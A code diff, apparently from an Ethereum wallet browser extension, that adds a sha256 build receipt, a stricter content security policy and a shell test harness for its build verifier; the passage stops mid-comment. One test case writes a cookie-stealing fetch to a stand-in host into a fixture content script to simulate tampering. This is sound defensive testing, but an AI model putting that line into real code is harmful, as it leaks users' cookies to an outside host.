const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification.
//
// The ".js" filter below is the only place that assumption lives:
// script/verify-build searches every file and symlink under dist/ for a
// marker, without filtering by extension, and hard-fails if it cannot walk the
// whole tree, so a bundle emitted under some other extension fails there as
// unlisted rather than escaping both checks at once.
// script/verify-build reads every file the receipt names, whatever its
// extension, and fails on any that carries a debug marker without being
// recorded as an audited bundle — so a bundle emitted under some other
// extension fails there rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs)
.filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile));
}
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
async function build() {
console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo);
@@ -108,19 +223,21 @@ async function build() {
};
// Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and written out for script/verify-build.
// esbuild run below and recorded in the receipt for script/verify-build.
const auditedBundles = [];
// compile tailwind CSS
console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" },
);
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
metafile: true,
define,
});
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
}
@@ -182,39 +301,39 @@ async function build() {
);
// copy popup HTML
fs.copyFileSync(
copyEmitted(
path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"),
);
// place compiled CSS next to popup HTML
fs.copyFileSync(
copyEmitted(
tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"),
);
}
// copy manifests
fs.copyFileSync(
copyEmitted(
path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"),
);
fs.copyFileSync(
copyEmitted(
path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"),
);
// Written last so a build that died partway through leaves no manifest
// at all, which script/verify-build treats as a hard failure rather than
// as "nothing to check".
const manifest = [...new Set(auditedBundles)].sort();
fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
console.log(
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
// Written last so a build that died partway through leaves no receipt at
// all, which script/verify-build treats as a hard failure rather than as
// "nothing to check".
if (receiptPath) {
writeReceipt(receiptPath, auditedBundles);
}
console.log("Build complete: dist/chrome/ and dist/firefox/");
}
build();
build().catch((err) => {
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -6,7 +6,7 @@
"permissions": ["storage", "activeTab", "alarms"],
"host_permissions": ["<all_urls>"],
"content_security_policy": {
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
},
"action": {
"default_popup": "src/popup/index.html"

View File

@@ -4,7 +4,7 @@
"version": "0.1.0",
"description": "Minimal Ethereum wallet for Firefox",
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
"content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
"browser_action": {
"default_popup": "src/popup/index.html"
},

View File

@@ -3,11 +3,13 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it.
#
# Why this exists: verify-build is the build-integrity guard, and three
# separate reviews of it each found a fresh vacuous pass — the grep exit-2
# conflation, the discarded find status, the line-delimited walk. Every one
# was caught by someone building a tree by hand, because nothing in make check
# could catch it. This is that hand battery, committed and automated.
# Why this exists: verify-build is the build-integrity guard, and four separate
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
# the discarded find status, the line-delimited walk, and then the two the
# receipt replaced: an expectation read out of the verifier's own environment,
# and a file list read back out of the tree it was supposed to vouch for. Every
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
#
# Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a
@@ -17,7 +19,14 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here.
# the real script fail here. The fixture's receipt is written from the bytes
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE='
'
@@ -41,6 +52,9 @@ UNPRIV=""
PERM_ENABLED=no
PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK=""
cleanup() {
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as.
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
# --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing.
# is all verify-build reads out of the real thing beyond its digest.
write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
}
# A dist/ shaped like a real build: two listed bundles under different
# browsers, an unlisted subtree to make unwalkable, and unlisted files that
# carry no marker and must not be objected to.
# Digest of $1, taken with the harness's own sha256 command.
fixture_sha256() {
# Word-split on purpose: SHA256_CMD is a command with its arguments.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE"
@@ -87,13 +157,12 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
{
echo "dist/chrome/src/popup/index.js"
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
write_receipt
# Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose.
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
# How verify-build is invoked for a case. The arguments are literal here rather
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
#
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
check_case() {
_name="$1"
_perm="$2"
_mode="$3"
_variant="$3"
_want_status="$4"
_want_text="$5"
_setup="$6"
@@ -213,23 +326,22 @@ check_case() {
return 0
fi
if [ "$_mode" = debug ]; then
_debug=1
else
_debug=""
fi
# Exported rather than set as a command prefix: run_unpriv is a function,
# and an assignment prefixed to a function call is not portable.
AUTISTMASK_DEBUG="$_debug"
export AUTISTMASK_DEBUG
# Exported rather than set as a command prefix: run_verify may go through
# run_unpriv, which is a function, and an assignment prefixed to a function
# call is not portable. Every other case unsets it, so the environment this
# harness happens to run in cannot decide anything.
case "$_variant" in
*envdebug)
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
;;
*)
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0
if [ "$_perm" = yes ]; then
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
_ok=yes
_why=""
@@ -272,7 +384,9 @@ check_case() {
# --- cases ------------------------------------------------------------------
#
# Each runs with the fixture as its working directory.
# Each runs with the fixture as its working directory. A case that regenerates
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; }
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_manifest_missing() { rm dist/constants-bundles.txt; }
c_receipt_missing() { rm "$RECEIPT"; }
c_manifest_empty() { : >dist/constants-bundles.txt; }
c_receipt_empty() { : >"$RECEIPT"; }
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
c_receipt_bad_header() {
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
c_receipt_other_tree() {
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_receipt_path_with_space() {
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_unlisted_extension() {
c_receipt_path_outside_dist() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
}
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
c_extra_file_no_marker() {
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
}
run_cases() {
check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
no release 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "unlisted marker-carrying file, trailing space in name" \
no release 1 "carries a debug marker but is absent from" \
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space
check_case "unlisted marker-carrying file, newline in name" \
no release 1 "carries a debug marker but is absent from" \
check_case "extra file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_embedded_newline
check_case "dist/ replaced by a symlink" \
@@ -342,64 +651,88 @@ run_cases() {
check_case "dangling symlink under dist/" \
no release 1 \
"reading dist/chrome/dangling.js, so the file could not be" \
c_dangling_symlink
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
check_case "symlink to a directory under dist/" \
no release 1 \
"reading dist/chrome/link-to-dir, so the file could not be" \
c_dir_symlink
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
check_case "symlink to a listed bundle under an unlisted path" \
check_case "symlink aliasing an emitted bundle under another path" \
no release 1 \
"dist/chrome/src/aliased.js carries a debug marker but is absent" \
c_alias_symlink
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
check_case "manifest missing" \
no release 1 "dist/constants-bundles.txt is missing." \
c_manifest_missing
check_case "receipt missing" \
no release 1 "is missing. build.js writes it" c_receipt_missing
check_case "manifest empty" \
no release 1 "is empty, so no emitted bundle was found to contain" \
c_manifest_empty
check_case "receipt empty" \
no release 1 "is empty, so the build wrote nothing to it" \
c_receipt_empty
check_case "manifest unreadable" \
check_case "receipt unreadable" \
yes release 1 "is not readable, so nothing was inspected." \
c_manifest_unreadable
c_receipt_unreadable
check_case "listed bundle missing" \
check_case "receipt is not a build receipt" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \
"lists dist/chrome/src/popup/index.js, which does not exist." \
c_bundle_missing
"names dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing
check_case "listed bundle empty" \
no release 1 "which is empty. An empty bundle" c_bundle_empty
check_case "emitted file empty" \
no release 1 "which is empty. An empty file" c_emitted_empty
check_case "listed bundle unreadable" \
check_case "emitted file unreadable" \
yes release 1 \
"reading dist/chrome/src/popup/index.js, so the file could not be" \
c_bundle_unreadable
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
c_emitted_unreadable
check_case "unlisted extension carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
check_case "emitted bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker
check_case "listed bundle carries both markers" \
check_case "emitted bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers
check_case "wrong marker for the requested mode" \
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
c_control
check_case "marker on a file the build did not record as a bundle" \
no release 1 "carries a debug marker but the build did not" \
c_marker_on_plain_file
check_makefile_wiring
}
# --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() {
cd "$ROOT"
@@ -409,6 +742,7 @@ main() {
}
echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +760,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF
################################################################################
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
## PROVE THEM. This process is uid $(id -u), and no runner subject to file
## permissions was available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so these cases would
## have passed without testing anything. They were skipped, not counted:
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
## This process is uid $(id -u), and no runner subject to file permissions was
## available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases
## would have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################
EOF
echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,45 +1,91 @@
#!/bin/sh
# script/verify-build: assert the compiled DEBUG state of the emitted
# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
# make build / make build-debug.
# script/verify-build: assert that dist/ holds exactly what the build that just
# ran emitted, and that the compiled DEBUG state of that output is the one the
# caller asked for. Our own extension to scripts-to-rule-them-all, run at the
# end of make build / make build-debug.
#
# Why this exists: DEBUG makes the publicly committed test recovery phrase the
# output of wallet creation, so a release artifact built with it live hands
# every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes
# the fallback branch; the property only exists in the emitted output, so it
# has to be asserted against the emitted output.
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
# phrase the output of wallet creation, so a release artifact built with it live
# hands every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the
# fallback branch; the property only exists in the emitted output, so it has to
# be asserted against the emitted output.
#
# What it reads: dist/constants-bundles.txt, written by build.js from
# esbuild's metafile, naming every emitted bundle that contains
# src/shared/constants.js. Each of those must carry exactly one of the two
# BUILD_DEBUG_MARKER literals that constants.js folds down to.
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
# taken from this script's environment. It used to be read from
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
# exported in their shell could run the release target, get a debug build, and
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
#
# It fails rather than passes whenever it cannot determine a bundle's state.
# Minified output is not a stable contract, so "matched neither form" is not
# evidence of anything and must never read as green.
# Why the provenance half exists: on its own, a marker grep proves nothing
# about where the bytes came from. A 26-byte file containing only the marker
# string used to verify ok; the content script and manifest.json were not read
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
